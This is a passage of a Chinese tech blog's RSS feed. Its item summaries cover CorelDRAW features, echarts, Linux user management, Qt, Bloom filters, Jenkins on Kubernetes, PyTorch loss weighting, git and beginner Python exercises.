      <guid>https://bchobby.github.io/posts/e810c01268cb9e26ac590a30eb97d4d8/</guid>
      <description>CorelDRAW Graphics Suite 2022 年 3 月订阅者更新 新增功能！调整预设&#xA;在&#34;CorelDRAW Graphics Suite 2022 年 3 月订阅者更新&#34;中，调整预设已完全重建。现在，您可以在 Corel PHOTO-PAINT 中以非破坏性方式创建多过滤器调整预设，并在 CorelDRAW 和 Corel PHOTO-PAINT 中应用这些预设。当您获得了一个满意的图像编辑结果时，可以轻松地组合并保存调整过滤器设置，以便在其他项目中快速轻松地重复使用这些设置。&#xA;您还可以将预设整理到自定义类别中，或者仅将其分配到默认类别中。此外，您可以从一组精心策划且经过测试的预设样式（包括黑白、彩色和色调等类别）中进行选择，以便快速启动编辑过程。&#xA;新功能和增强功能！&#34;调整&#34;菜单&#xA;当您从 Corel PHOTO-PAINT 重组后的&#34;调整&#34;菜单中选择过滤器时，&#34;调整&#34;泊坞窗会自动打开所选过滤器对应的工具和设置。现在的所有调整都是非破坏性的，因此您可以无限次地进行实验。一次单击即可重置或拼合调整。此外，它还提供了新的快捷方式和命令，可为您节省时间，通过使用菜单命令，可立即复制和粘贴调整。&#xA;新功能和增强功能！&#34;调整&#34;泊坞窗&#xA;Corel PHOTO-PAINT 中的&#34;调整&#34;泊坞窗已进行重组，可以一站式处理各种调整过滤器。新增了四个过滤器，同时现有过滤器中引入了新的界面元素和编辑选项，使您可以更轻松地实现想要的结果。&#xA;黑白过滤器提供了一个新的创意选项，让您在将彩色图像转换为灰度时可以更好地控制图像。现在，您可以隔离图像的阴影和高光，并单独调整每个图像特征的色度和饱和度，这对减淡颜色非常有效。&#xA;此外，还更新了对&#34;颜色平衡&#34;、&#34;均衡&#34;以及&#34;样本和目标&#34;过滤器的控制，并添加了一个新的&#34;色阶&#34;过滤器，可以更轻松地调整图像对比度。新的颜色取样工具包含&#34;颜色平衡&#34;过滤器，只需一次单击，即可设置中性灰色。&#34;柱状图&#34;界面已得到增强，而且为了让您在进行调整时获得更好的视觉呈现效果，我们为以下过滤器的滑块添加了颜色，分别是：“色度”、“饱和度”、“亮度”、“黑白”、“替换颜色”、“通道混合器&#34;和&#34;颜色平衡”。&#xA;增强功能！&#34;调整&#34;泊坞窗性能&#xA;借助于 Corel PHOTO-PAINT，使用&#34;调整&#34;泊坞窗进行图像编辑时，可以体验到速度的显著提升。显示缓存系统有所改进，这意味着调整过滤器将变得流畅且响应迅速，特别是对较小的图像细节和区域进行放大时。此外，CorelDRAW 和 Corel PHOTO-PAINT 都支持多核处理，所以在任一应用程序中应用调整都变得轻而易举。&#xA;新功能和增强功能！常规改进&#xA;&#34;CorelDRAW Graphics Suite 2022 年 3 月订阅者更新&#34;中提供了一系列受频繁用户请求而启发的常规改进。CorelDRAW 提供了五个新的调整过滤器和 19 种用于处理位图的效果，所有这些功能均可从&#34;效果&#34;菜单中访问。&#xA;在 Corel PHOTO-PAINT 中，现在的&#34;对象&#34;泊坞窗提供了一个显示实时结果的不透明度滑块，使用户可以更轻松地调整对象不透明度并评估更改效果。现在，您还可以对包含多个对象的选项应用非破坏性效果，即使在使用遮罩时也是如此。&#xA;当您在 Corel PHOTO-PAINT 中保存具有非破坏性效果的作品时，您可能会注意到文件大小有所减小，通常缩小了两倍之多，这是因为对效果数据创新使用了 ZIP 压缩功能。&#34;遮罩&#34;菜单中还有一个新的&#34;边缘透明度&#34;选项，可用于控制遮罩边缘透明度的衰减。此外，还更新了多个遮罩工具的光标，以便更好地指示您是处于创建还是转换状态。&#xA;新功能和增强功能！&#34;学习&#34;泊坞窗&#xA;在&#34;学习&#34;泊坞窗（在以前的版本中称为&#34;提示&#34;泊坞窗）的全新&#34;浏览&#34;部分中，搜索学习资源和工具。从应用程序中访问和浏览丰富的在线资源库，有助于快速熟悉产品功能。完成您的个人资料，以便获取我们推荐的与您的经验水平和需求相匹配的视频和书面教程。此外，通过应用过滤器，可以只查看您喜欢的学习资源类型；并且可以按相关性、日期或最佳匹配对搜索结果进行排序。有关详细信息，请参阅 &#34;学习&#34;泊坞窗.&#xA;新增功能！个性化设置&#xA;我们对学习资源的个性化建议基于您在个人资料调查中提供的回答。当您更新个人资料时，我们会相应地修改学习资料建议，以更好地满足您的需求。您也可以将个人资料重置为默认状态，以选择不需要推荐。有关详细信息，请参阅 您的隐私和个人资料.</description>
    </item>
    <item>
      <title>echarts实现dataZoom区域缩放并修改高度</title>
      <link>https://bchobby.github.io/posts/14cd6d4a2842be5d7ffb6efc4cd402be/</link>
      <pubDate>Wed, 09 Mar 2022 17:37:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14cd6d4a2842be5d7ffb6efc4cd402be/</guid>
      <description> 如图所示，因为数据太多，看起来比较杂，所以需要用dataZoom实现区域缩放。&#xA;echarts代码如下：&#xA;let zoom = 100; dataZoom: [ { type: &#39;inside&#39;, realtime: true, start: 0, end: zoom }, { show: true, realtime: true, height: 24,//这里可以设置dataZoom的尺寸 bottom: 6, start: 0, end: zoom, backgroundColor: &#39;#1d76e6&#39;, // 填充颜色 textStyle: { color: &#39;#fff&#39; // 左右两边文字颜色 } } ], </description>
    </item>
    <item>
      <title>linux用户与文件权限管理</title>
      <link>https://bchobby.github.io/posts/5533e7db6108421396041f32495a6f5e/</link>
      <pubDate>Wed, 09 Mar 2022 15:45:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5533e7db6108421396041f32495a6f5e/</guid>
      <description>一、用户管理 切换用户登录 su - 用户名 root用户切换其他用户不需要密码，反之需要密码&#xA;exit # 返回原来用户 创建用户 useradd&#x9;[选项]&#x9;用户名 如： useradd jack # 创建用户jack,默认家目录为 /home/jack useradd -d /home/cat tom # 创建用户tom,指定家目录为 /home/cat (就不会再创建默认家目录) 设置密码 passwd 用户名 删除用户 userdel 用户名 如： userdel tom # 删除tom，保留家目录 userdel -r tom # 删除tom及其家目录 查询用户 查询用户uid与组信息&#xA;id 用户名 二、用户组管理 创建组 groupadd 组名 删除组 groupdel 组名 增加用户时指定组 useradd&#x9;-g 用户组 用户名 修改用户所属组 usermod&#x9;-g 用户组 用户名 三、相关的配置文件 /etc/passwd 文件 用户（user）的配置文件，记录用户的各种信息&#xA;每行的含义：用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录 Shell</description>
    </item>
    <item>
      <title>Qt5学习笔记之bin文件合成工具二：bin文件的读取和写入</title>
      <link>https://bchobby.github.io/posts/bad6c75e25441e77a91cdf17731964ad/</link>
      <pubDate>Wed, 09 Mar 2022 14:17:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bad6c75e25441e77a91cdf17731964ad/</guid>
      <description>目录 概述实现步骤1.调整界面并布局。2.显示文件路径和偏移量3.bin文件读取4.将读取的bin文件写入到新的文件。5.测试运行效果：6.解决00结束符问题 GitHub下载 概述 上一小节主要是练习下本地文件的打开和另存为，现在我们开始正式bin文件合成工具的开发。&#xA;先学习《Qt学习之路2.pdf》第36节 二进制文件读写。&#xA;本篇文章的目标：&#xA;1.重新设计界面&#xA;2.实现不同bin文件的选取&#xA;3.合成bin文件涉及的内容略多：将选好的3个bin文件根据偏移量合成为1个bin文件，空出的内容填充为FF。在本篇文章，我们先实现一个bin文件的读取和另存写入。&#xA;实现步骤 1.调整界面并布局。 工具是为了自己开发方便，不求做成一个通用工具去发布给大家使用（这个可能比较耗精力，作为初学者我还是先简单实现即可）。我的实际应用中合成主要分为3端，IAP、APP、最后的参数页。界面设计如下，其中路径和偏移量的显示框我们都是用LineEdit组件，避免出现换行问题：&#xA;2.显示文件路径和偏移量 IAP、APP、Para三个按钮实现功能相同，选取本地bin文件，将路径和默认偏移量填写到界面的对应位置即可。在上一小节已经测试过通过文件框选取本地文件。&#xA;QString path = QFileDialog::getOpenFileName(this, tr(&#34;Open File&#34;),//控件的objectName &#34;.&#34;, //对话框显示时默认打开的目录，&#34;.&#34; 代表程序运行目录 tr(&#34;Bin Files(*.bin)&#34;)); //对话框的后缀名过滤器，将txt文件改为bin文件。 qDebug(&#34;path = %s&#34;,qPrintable(path)); 这里我们只需将过滤器修改为*.bin即可。将path打印出来，即为选中文件的绝对路径：&#xA;将path直接填充到路径显示框中即可。程序中没有使用path，而是使用一个QString变量获取文件信息，最后进行填充：&#xA;QString buf; QFileInfo info(file); buf = QString(info.absolutePath()); buf.append(&#34;/&#34;); buf.append(info.baseName()); //直接获得文件名 buf.append(&#34;.bin&#34;); qDebug(&#34;%s&#34;,qPrintable(buf)); //与上面的path变量相同，可直接使用path变量 qDebug() &amp;lt;&amp;lt; info.filePath(); ui-&amp;gt;iappathEdit-&amp;gt;setText(buf); ui-&amp;gt;iapoffsizeEdit-&amp;gt;setText(tr(&#34;0x00000000&#34;)); //默认偏移量 3.bin文件读取 要主要分为两步：根据路径显示框来获取文件、读取bin文件到程序中。&#xA;QFile readfile(ui-&amp;gt;iappathEdit-&amp;gt;text()); //要读取的bin文件 QFileInfo read_file_info(readfile); //要读取的bin文件的信息 if (!readfile.open(QIODevice::ReadOnly)) { //只读方式打开bin文件 QMessageBox::warning(this, tr(&#34;Read File&#34;), tr(&#34;Cannot open file:\n%1&#34;</description>
    </item>
    <item>
      <title>java培训：判断元素是不是在集合里的方法</title>
      <link>https://bchobby.github.io/posts/167c63e995a80d94ca4fc3e1e66e7ddf/</link>
      <pubDate>Wed, 09 Mar 2022 12:42:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/167c63e995a80d94ca4fc3e1e66e7ddf/</guid>
      <description>如何快速判断一个元素是不是在一个集合里？这个题目是我最近面试的时候常问的一个问题，这个问题不同人都有很多不同的回答。&#xA;今天想介绍一个很少有人会提及到的方案，那就是借助布隆过滤器。&#xA;什么叫布隆过滤器&#xA;布隆过滤器（Bloom Filter）是一个叫做 Bloom 的老哥于1970年提出的。&#xA;实际上可以把它看作由二进制向量（或者说位数组）和一系列随机映射函数（哈希函数）两部分组成的数据结构。&#xA;它的优点是空间效率和查询时间都比一般的算法要好的多，缺点是有一定的误识别率和删除困难。&#xA;实现原理&#xA;先来一张图&#xA;布隆过滤器算法主要思想就是利用 n 个哈希函数进行 hash 过后，得到不同的哈希值，根据 hash 映射到数组（这个数组的长度可能会很长很长）的不同的索引位置上，然后将相应的索引位上的值设置为1。&#xA;判断该元素是否出现在集合中，就是利用k个不同的哈希函数计算哈希值，java培训看哈希值对应相应索引位置上面的值是否是1，如果有1个不是1，说明该元素不存在在集合中。&#xA;但是也有可能判断元素在集合中，但是元素不在，这个元素所有索引位置上面的1都是别的元素设置的，这就导致一定的误判几率（这就是为什么上面是活可能在一个集合中的根本原因，因为会存在一定的 hash 冲突）。&#xA;注意：误判率越低，相应的性能就会越低。&#xA;作用&#xA;布隆过滤器是可以用于判断一个元素是不是（可能）在一个集合里，并且相比于其它的数据结构，布隆过滤器在空间和时间方面都有巨大的优势。&#xA;注意上面的一个词：可能。这里先预留一个悬念，下文会详细分析到。&#xA;使用场景&#xA;判断给定数据是否存在防止缓存穿透（判断请求的数据是否有效避免直接绕过缓存请求数据库）等等、邮箱的垃圾邮件过滤、黑名单功能等等。 具体实现&#xA;看完了布隆过滤器的算法思想，那就开始具体的实现的讲解。&#xA;我先来举个例子，假设有旺财和小强两个字符串，他们分别经过三次的 hash 算法，然后根据 hash 的结果将对应的数组（假设数组长度为 16）的索引位置的值置为1，先来看下旺财这个词组:&#xA;旺财经过三次 hash 过后，值分别为2,4,6 那么根据可以得到索引值分别为 2、4、6，于是就将该数组的索引（2、4、6）位置的值置为1，其余当做是0，现在假设需要查找旺财 ，同样经过这个三个hash 然后发现得到的索引 2、4、6对应的位置的值都为1，那么可以判断旺财可能是存在的。&#xA;接着有将小强插入到布隆过滤器中，实际的过程和上面的一样，假设得到的下标是 1、3、5&#xA;抛开旺财的存在，小强此时是这样子在布隆过滤器中的，结合旺财和小强实际的数组是这样子的：&#xA;现在有来一个数据：9527，现在要求是判断 9527 是否存在，假设9527 经过三次 hash 过后得到的下标分别为：5、6、7。结果发现下标为 7 的位置的值为0，那么可以肯定的判断出，9527 一定不存在。&#xA;接着又来了一个 国产007，经过三次 hash 过后得到的下标分别为：2、3、5，结果发现 2、3、5下标对应的值全是1，于是可以大致判断出 国产007可能存在。但是实际上经过我们刚刚的演示，国产007 根本就不存在，之所以 2、3、5 索引位置的值为1 ，那是因为其他的数据设置的。&#xA;说到这里，不知道大家有没有明白布隆过滤器的作用。&#xA;代码的实现&#xA;作为 java 程序员，我们真的是很幸福了，我们使用到很多的框架和工具，基本都被封装好了，布隆过滤器，我们就使用 google 封装好的工具类。</description>
    </item>
    <item>
      <title>eharts 实现展示时间区间图</title>
      <link>https://bchobby.github.io/posts/513eb98da6097f7485a40a254884744c/</link>
      <pubDate>Wed, 09 Mar 2022 12:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/513eb98da6097f7485a40a254884744c/</guid>
      <description>eharts 实现展示时间区间图 效果图如下：其中每一条都是时间区间&#xA;话不多说，代码如下所示：&#xA;import * as echarts from &#39;echarts&#39;; var chartDom = document.getElementById(&#39;main&#39;); var myChart = echarts.init(chartDom); var option; // 初始化echart //var chart = echarts.init(document.getElementById(&#39;chart-box&#39;)); // 各状态的颜色 var colors = [&#39;red&#39;, &#39;orange&#39;]; // 状态 var state = [&#39;正常&#39;, &#39;繁忙&#39;]; // echart配置 var option = { color: colors, tooltip: { formatter: function (params) { return params.value[1].substr(11) + &#39;~&#39; + params.value[2].substr(11); } }, legend: { data: state, bottom: &#39;1%&#39;, selectedMode: false, // 图例设为不可点击 textStyle: { color: &#39;#000&#39; } }, grid: { left: &#39;3%&#39;, right: &#39;3%&#39;, top: &#39;1%&#39;, bottom: &#39;10%&#39;, containLabel: true }, xAxis: { type: &#39;time&#39;, //设置横坐标标签格式 axisLabel: { formatter: function (value) { var date = new Date(value); return getzf(date.</description>
    </item>
    <item>
      <title>Jenkins使用k8s的pod运行slave节点</title>
      <link>https://bchobby.github.io/posts/ef42e8fde7a4bdc8bd1a65f8666095e5/</link>
      <pubDate>Wed, 09 Mar 2022 11:19:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef42e8fde7a4bdc8bd1a65f8666095e5/</guid>
      <description>Jenkins使用k8s的pod运行slave节点 一、安装插件二、创建证书秘钥三、Jenkins中添加凭证四、在Jenkins上添加kubernetes集群五、测试kubernetes Jenkins支持以Pod形式运行Slave节点，实现规模可伸缩的Jenkins Cluster，需要安装插件“kubernetes” 通过jenkins/inbound-agent镜像创建的pod连接至Jenkins的master节点，需要在master节点上开启代理50000端口 一、安装插件 系统管理-&amp;gt;管理插件-&amp;gt;可选插件,搜索kubernetes plugin，安装完成后重启Jenkins！！！&#xA;二、创建证书秘钥 在master节点上生成对应的证书&#xA;#1、查看kubernetes的config文件 cat ~/.kube/config #2、根据配置文件生成证书.替换引号内部的信息为config内相关value echo &#34;certificate-authority-data&#34; | base64 -d &amp;gt; ca.crt echo &#34;client-certificate-data&#34; | base64 -d &amp;gt; client.crt echo &#34;client-key-data&#34; | base64 -d &amp;gt; client.key #3、生成jenkins使用的cert.pfx，此处需要设置一个4位数以上的密码 openssl pkcs12 -export -out cert.pfx -inkey client.key -in client.crt -certfile ca.crt ls ca.crt cert.pfx client.key client.crt 三、Jenkins中添加凭证 把生成的cert.pfx证书上传至Jenkins，系统管理–凭证管理–Jenkins–全局凭据&#xA;四、在Jenkins上添加kubernetes集群 系统管理–系统配置–Cloud&#xA;填写k8s集群api-server的url，kubernetes服务证书为刚刚生成的ca.crt，凭据为刚刚添加的，填写Jenkins地址，点击连接测试验证 Jenkins开启系统代理：系统管理–全局安全配置，设置代理端口为50000&#xA;ss -anptu | grep 50000 tcp LISTEN 0 50 *:50000 *:* users:((&#34;</description>
    </item>
    <item>
      <title>实测：nn.CrossEntropyLoss()多维输出 &#43; 权重分配</title>
      <link>https://bchobby.github.io/posts/9e0055c8dd4f22f785e5049161272fd7/</link>
      <pubDate>Wed, 09 Mar 2022 02:05:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e0055c8dd4f22f785e5049161272fd7/</guid>
      <description>pytorch版本：1.10.0&#xA;part1：多维输出部分 问题描述：&#xA;我有长度为14万的频域序列数据若干，要对每条序列进行异常检测。我将每个长序列划分为多个短序列，每个短序列长度为1000，即140000 = 140×1000，Model输出是140个值，即将序列检测问题转换为时间序列分类问题。&#xA;因此，我的模型输出（输入给loss函数）为16×140×2，对140个短序列作二分类，loss使用nn.CrossEntropyLoss()，多维输出。&#xA;官方文档定义为：&#xA;为简单起见，我的测试代码如下所示：&#xA;输入input维度：[1,2,3]&#xA;标签label维度：[1,3]&#xA;输出output维度：1个值，是3维的平均值（在weight默认，reduction默认为&#39;mean&#39;时），即 0.7711 = - [ -1.2158 - 0.3249 - 0.7726] / 3&#xA;part2：权重分配部分 主要是用来解决类别不平衡问题。在我的实际问题中，正反类数量为3:137，严重不平衡。&#xA;因此我设置权重：&#xA;在这里解释一下如何设置权重。&#xA;结论是：为数量少的类别设置更大的权重。&#xA;原因：对于二分类问题，模型会犯2种错误，即①将正类预测为反类②将反类预测为正类&#xA;在我的Dataset中，正类极少，因此学习到的Model会更倾向于预测为反类，因此我要惩罚第①种错误，避免都预测为反类。&#xA;2022.3.7 更新： 上面对于权重分配方面，是我一厢情愿了，真实测试发现，pytorch并不是这样理解权重分配的。&#xA;nn.CrossEntropyLoss()里面的权重，作用是平衡正反类样本的数量。&#xA;因此，可以理解权重是将该样本（也就是该类样本）的数量增加m倍。&#xA;Pytorch中nn.CrossEntropyLoss()加权计算方式如下： 注：以下内容请对应nn.CrossEntropyLoss(）pytorch的官方文档阅读。&#xA;若batch_size&amp;gt;1，那么nn.CrossEntropyLoss()输出结果已经平均掉batch_size = N了&#xA;程序验证：&#xA;a = torch.tensor([[-0.4514,0.7823,0.5210],[-0.0082,-0.3569,-0.2626]],requires_grad=True) a = a.unsqueeze(0) tar = torch.tensor([[0,1,1]]) # a = torch.randn(1,2,3,requires_grad=True) # tar =torch.randint(0,2,(1,3)) # print(a,&#39;\n&#39;,tar) fn1 = nn.CrossEntropyLoss(reduction=&#39;mean&#39;) fn2 = nn.CrossEntropyLoss(reduction=&#39;sum&#39;) # 加权后 fn3 = nn.</description>
    </item>
    <item>
      <title>226.翻转二叉树</title>
      <link>https://bchobby.github.io/posts/776f3b09bdb1449bbe25e4690717f81b/</link>
      <pubDate>Tue, 08 Mar 2022 23:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/776f3b09bdb1449bbe25e4690717f81b/</guid>
      <description>226.翻转二叉树&#xA;题目地址：力扣&#xA;翻转一棵二叉树。&#xA;思路：&#xA;我们之前介绍的都是各种方式遍历二叉树，这次要翻转了，感觉还是有点懵逼。&#xA;这得怎么翻转呢？&#xA;如果要从整个树来看，翻转还真的挺复杂，整个树以中间分割线进行翻转，如图：&#xA;可以发现想要翻转它，其实就把每一个节点的左右孩子交换一下就可以了。&#xA;关键在于遍历顺序，前中后序应该选哪一种遍历顺序？ （一些同学这道题都过了，但是不知道自己用的是什么顺序）&#xA;遍历的过程中去翻转每一个节点的左右孩子就可以达到整体翻转的效果。&#xA;**注意只要把每一个节点的左右孩子翻转一下，就可以达到整体翻转的效果**&#xA;**这道题目使用前序遍历和后序遍历都可以，唯独中序遍历不行，因为中序遍历会把某些节点的左右孩子翻转了两次！**&#xA;那么层序遍历可以不可以呢？**依然可以的！只要把每一个节点的左右孩子翻转一下的遍历方式都是可以的！**&#xA;递归法：&#xA;1. 确定递归函数的参数和返回值&#xA;参数就是要传入节点的指针，不需要其他参数了，通常此时定下来主要参数，如果在写递归的逻辑中发现还需要其他参数的时候，随时补充。&#xA;返回值的话其实也不需要，但是题目中给出的要返回root节点的指针，可以直接使用题目定义好的函数，所以就函数的返回类型为`TreeNode`。&#xA;```&#xA;TreeNode invertTree(TreeNode root)&#xA;```&#xA;2. 确定终止条件&#xA;当前节点为空的时候，就返回&#xA;```&#xA;if (root == NULL) return root;&#xA;```&#xA;3. 确定单层递归的逻辑&#xA;因为是先前序遍历，所以先进行交换左右孩子节点，然后反转左子树，反转右子树。&#xA;```&#xA;swap(root);&#xA;invertTree(root.left);&#xA;invertTree(root.right);&#xA;```&#xA;基于这递归三步法，代码基本写完，Java代码如下：&#xA;```JAVA&#xA;class Solution {&#xA;public TreeNode invertTree(TreeNode root) {&#xA;if (root == NULL){return root;}&#xA;swap(root); // 中&#xA;invertTree(root.left); // 左&#xA;invertTree(root.right); // 右&#xA;return root;</description>
    </item>
    <item>
      <title>2.git的用法</title>
      <link>https://bchobby.github.io/posts/042333de9539854ff6eaa041a2164c13/</link>
      <pubDate>Tue, 08 Mar 2022 17:44:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/042333de9539854ff6eaa041a2164c13/</guid>
      <description>2.git 文章目录 2.git1. 冲突的修改2. 获取git的url地址3. git查看branch4. git建立新的分支5.git删除本地文件并提交记录6.恢复误删的文件7.解决冲突8. 版本回退9. 撤销commit 1. 冲突的修改 pull时错误&#xA;保留本地修改，支持pull git stash #将改动隐藏 git pull #新代码覆盖本地代码 git stash pop #将刚隐藏的改动恢复 不保留本地修改 git reset --hard #直接覆盖掉 git pull 2. 获取git的url地址 git remote -v 3. git查看branch git branch 4. git建立新的分支 git clone下来一个需要的分支&#xA;从当前的分支拉copy开发分支,路径就是lz/copy&#xA;$ git checkout -b git checkout -b lz/copy Switched to a new branch &#39;lz/copy&#39; 把新建的分支push到远端 $ git push origin lz/copy #会让输入sudo用户名和密码，并打印出迁出的分支 拉取分支、 $ git pull There is no tracking information for the current branch.</description>
    </item>
    <item>
      <title>python:一些做过的作业</title>
      <link>https://bchobby.github.io/posts/654a3016f961da8102207ba1590d6059/</link>
      <pubDate>Tue, 08 Mar 2022 17:12:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/654a3016f961da8102207ba1590d6059/</guid>
      <description>输入输出&#xA;1、利用input函数输入自己的名字，并打印出来&#xA;2、利用input函数输入自己的年龄，打印出自己的年龄+2的结果&#xA;3、利用input函数分别输入自己的名字和年龄，并打印出如下字符串：“哇塞，xx今年yy岁了！”&#xA;变量、数据类型和表达式&#xA;1、分别创建三个变量并进行赋值作为三门功课的成绩，计算总分和平均分，并打印&#xA;2、编写程序实现一个三位数字的反序输出&#xA;3、从键盘输入求的半径，计算求的表面积和体积并进行打印&#xA;字符串&#xA;1、现有字符串： str1 = &#39;www.hufe.edu.cn&#39;，根据题目要求，将截取后的新字符串赋值给str2并输出&#xA;（1）截取字符串的第一位到第三位的字符&#xA;（2）截取字符串最后三位的字符&#xA;（3）截取字符串的全部字符&#xA;（4）截取字符串的第七个字符到结尾&#xA;（5）截取字符串的第三个字符&#xA;（6）输出字符串的长度&#xA;（7）将字符串中所有的&#34;.&#34;换成&#34;-&#34;并输出&#xA;（8）删除字符&#34;.&#34;，拆分成四个字符串并输出&#xA;2、按照一定格式输出（最好能够用常用方法和format方法两种实现）：&#xA;（1）打印123456的二进制、八进制和十六进制&#xA;（2）打印Python，要求格式：空白填充+左对齐+固定宽度20&#xA;（3）打印70305084.0 要求格式: 千分位+空白填充+右对齐+固定宽度18+浮点精度.2+浮点数声明f&#xA;3、已知字符串 a = “aAsar3ide4bgs7Dlsf9eAF”,要求如下:&#xA;（1）找出字符串中最先出现i字母的位置&#xA;（2）计算a字母出现的次数&#xA;（3）将a字符串的大写改为小写，小写改为大写。&#xA;（4）将a字符串的数字取出，并输出成一个新的字符串&#xA;（5）去除a字符串中的字母a，并输出&#xA;（6）将a字符串反转并输出&#xA;4、编写程序，自动生成宿舍的组合名，从键盘上分别输入宿舍人员的姓名，取其中的一个字连在一起，输出组合名&#xA;5、编写程序，实现人民币和美元转换，其中：‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬人民币和美元间汇率固定为：1美元 = 6.78人民币。‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬程序可以接受人&#xA;民币或美元输入，转换为美元或人民币输出。人民币采用RMB表示，美元USD表示，符号和数值之间没有空格‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬，&#xA;结果小数点后保留两位。‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‭‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‪‬&#xA;1.1 x=input(&#34;请输入你的名字&#34;) y=eval(input(&#34;请输入你的年龄&#34;)) print(&#34;哇塞，{}明年{}岁了！&#34;.format(x,y+1)) 1.2 strs = &#39;www.hufe.edu.cn&#39; str1=strs[0:3] str2=strs[-3:] str3=strs[6:] str4=len(strs) str5=strs.replace(&#34;.&#34;,&#34;-&#34;) str6=strs.count(&#34;w&#34;) print(str1) print(str2) print(str3) print(str4) print(str5) print(str6) 1.3 a=&#34;aAsar3ide4bgs7Dlsf9eAF&#34; s=[] e=a.index(&#39;i&#39;) print(e) y=a.count(&#34;a&#34;) print(y) for i in a: if ord(i)&amp;gt;=65 and ord(i)&amp;lt;=90:#大写 i=ord(i)+32 print(chr(i),end=&#34;</description>
    </item>
    <item>
      <title>python接口自动化之带Header信息的请求封装</title>
      <link>https://bchobby.github.io/posts/4bdc02871845f1aecf3dbb08a61108ff/</link>
      <pubDate>Tue, 08 Mar 2022 16:59:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bdc02871845f1aecf3dbb08a61108ff/</guid>
      <description># coding=utf-8 import requests from Logs.Log import Logger import json from Public.GetToken import Token log=Logger(&#39;请求日志执行结果&#39;).getlog() class WebRequests(): #传入get请求必要的参数 def get(self, url, params=None, headers=None, files=None,cookies=None): &#39;&#39;&#39;封装get方法，return返回响应信息&#39;&#39;&#39; try: #设置headers信息 headers = {&#39;Content-Type&#39;: &#39;application/json;charset=UTF-8&#39;} r = requests.get(url, params=params, headers=headers, files=files, cookies=cookies) log.info(&#34;请求的内容：%s&#34; % params) status_code = r.status_code # 获取响应状态码 log.info(&#34;获取返回的状态码:%d&#34; % status_code) response_json = r.json() # 获取json格式类型的数据 log.info(&#34;响应内容：%s&#34; % response_json) return r # 返回响应的数据 log.info(&#39;接口请求成功&#39;) except BaseException as e: log.error(&#34;请求失败！&#34;, exc_info=1) #传入post请求必要的参数 def post(self, url, data=None, headers=None, files=None,cookies=None): &#39;&#39;&#39;封装post方法，return返回响应数据&#39;&#39;&#39; try: # 设置headers数据 里面token数据来源于Token类中的GetLoginToken()函数提取的数值 headers = {&#39;Content-Type&#39;: &#39;application/json;charset=UTF-8&#39;,&#39;sid&#39;:Token().</description>
    </item>
    <item>
      <title>python：２４点游戏</title>
      <link>https://bchobby.github.io/posts/de37de6ad62e6b6c379a71afa1be1e55/</link>
      <pubDate>Tue, 08 Mar 2022 16:43:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de37de6ad62e6b6c379a71afa1be1e55/</guid>
      <description>24点游戏是指随机选取4张扑克牌（不包括大小王），然后通过四则运算来构造表达式，如果表达式的值恰好等于24就赢一次。编写代码测试随机给定的4个数是否符合24点游戏。&#xA;用户输入4个1-13之间的整数，程序自动搜索+-*/全部可能计算出24的组合及数目。如果得不到结果，则提示失败。&#xA;废话不多说，直接上代码&#xA;中缀运算符改后缀运输符&#xA;有点乱&#xA;def get_c(num): if num == 0: return &#39;+&#39; elif num == 1: return &#39;-&#39; elif num == 2: return &#39;*&#39; else: return &#39;/&#39; print(&#34;请输入4个数字&#34;) g24 = [] for i in range(4): g24.append(input(&#34;&#34;)) a = b = c = &#39;+&#39; flag = False stack1 = [] stack2 = [] for i in range(0, 4): for j in range(0, 4): for q in range(0, 4): a = get_c(i) b = get_c(j) c = get_c(q) res = g24[0] + a + g24[1] + b + g24[2] + c + g24[3] #将中缀表达式转化为后缀表达式 n = len(res) for w in range(0, n): if res[w].</description>
    </item>
    <item>
      <title>解决方法： No space in execution regions with .ANY selector matching</title>
      <link>https://bchobby.github.io/posts/a7980122646122eb6a4efd3e887529c2/</link>
      <pubDate>Tue, 08 Mar 2022 15:59:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7980122646122eb6a4efd3e887529c2/</guid>
